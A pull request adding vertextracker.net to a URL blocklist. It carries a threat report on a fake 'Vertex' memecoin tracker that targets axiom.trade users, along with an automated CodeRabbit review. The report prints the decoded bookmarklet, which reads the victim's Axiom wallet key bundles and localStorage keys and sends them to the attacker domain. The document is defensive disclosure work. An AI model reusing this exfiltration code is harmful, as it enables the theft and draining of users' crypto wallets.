[45cmrg9hvj-cmyk]

Malicious domain: vertextracker.net (https://vertextracker.net/)
Associated Solana address (reported by a victim): 9TUiCmc6wtVUcWHbfv5dKMFR4fDBZjL11fMh27GM4DF8
Target: users of axiom.trade (Solana memecoin trading platform)

What it is

The site poses as "Vertex", an "AI analytics / X tracker for memecoins on Axiom" delivered as a bookmarklet ("one bookmark, zero extensions"). After a sign-up, the page puts a javascript: bookmarklet (base64 + eval) on its "activate" buttons. In reality it steals the user's Axiom wallet keys.

Evidence (from the live page source, fetched 2026-10-30)

The page's buildBookmarklet() builds this code (decoded):

if(location.hostname!=='axiom.trade'){location.replace('https://axiom.trade/discover');return;}
const user=await(await fetch('//api7.axiom.trade/user-info',{method:'POST',credentials:'include'})).json();
const bundle=await(await fetch('//api2.axiom.trade/bundle-key-and-wallets-v2',{method:'POST',credentials:'include'})).json();
const bookmarkData={site:location.href,user:user,bundle:bundle.bundleKey,
  sBundles:localStorage.getItem('sBundles'),eBundles:localStorage.getItem('eBundles'),
  evmBundleKey:bundle.evmBundleKey||bundle.bundleKey};
location.replace('https://vertextracker.net/data/'+btoa(JSON.stringify(bookmarkData))+'?key=<apiKey>');

When run on axiom.trade, it uses the victim's logged-in session to read their wallet key bundle (bundleKey, evmBundleKey) and the sBundles/eBundles key material from localStorage, then sends all of it to vertextracker.net/data/.... That is enough for the operator to take over the victim's Axiom Solana and EVM wallets and drain them.

Infrastructure

• Registered 2026-10-24 (6 days old), registrar NICENIC INTERNATIONAL GROUP CO., LIMITED (IANA 3765), abuse@nicenic.net
• DNS/proxy: Cloudflare (chase/melina.ns.cloudflare.com; 104.21.52.69, 172.67.196.172), origin x-powered-by: Express
• Associated SOL address 9TUiCmc6wtVUcWHbfv5dKMFR4fDBZjL11fMh27GM4DF8: ~489 transactions between 2026-09-16 and 2026-10-29

Summary by CodeRabbit

• Updates
  • Added vertextracker.net to the blocked-site list. Access to this site may now be restricted where the list is applied.

[coderabbitai]

Walkthrough

The URL blocklist adds vertextracker.net as an entry.

Changes: URL blocklist

Layer / File(s)	Summary
Add domain entry blocklist.yaml	Adds vertextracker.net to the URL blocklist.

Priority: Normal

Change: Other

Merge Risk: Minimal · up to 7580e

The blocklist-only change is ready to merge with no identified functional or operational risk.

Architecture risk: Low · up to 7580e

The change affects 1 system.

Changed systems: blocklist.yaml

Architecture concerns
No architecture-level concerns identified.

Review details

Systems and components

• observed — blocklist.yaml (service) was modified; 1 changed file maps to changed impact.

Before / after behavior

• observed — Modified behavior in blocklist.yaml: Adds vertextracker.net to the URL blocklist.

Pre-merge checks: 5

Check name	Status	Explanation
Description Check		Check skipped - CodeRabbit’s high-level summary is enabled.
Title check		The title clearly identifies the main change: adding vertextracker.net to the blocklist because it is reported to steal Axiom wallet keys.
Docstring Coverage		No eligible functions found in the changed files. Skipping docstring coverage check. Docstring coverage is scoped to functions touched by this diff with cyclomatic complexity of at least 2. Documentat…
Linked Issues check		Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check		Check skipped because no linked issues were found for this pull request.

Full details: Docstring Coverage

Explanation

No eligible functions found in the changed files. Skipping docstring coverage check. Docstring coverage is scoped to functions touched by this diff with cyclomatic complexity of at least 2. Documentation-only edits and deletions within surviving functions are included; unchanged diff context and fully deleted functions are excluded. Analyzed 0 functions across 0 files. (1 skipped: 1 unsupported.)

Finishing Touches

🧪 Generate unit tests (beta)

• Create a new PR

• Autofix · Keep fixing CodeRabbit findings and required CI, and resolving merge conflicts

_{Comment @coderabbitai help to get the list of available commands.}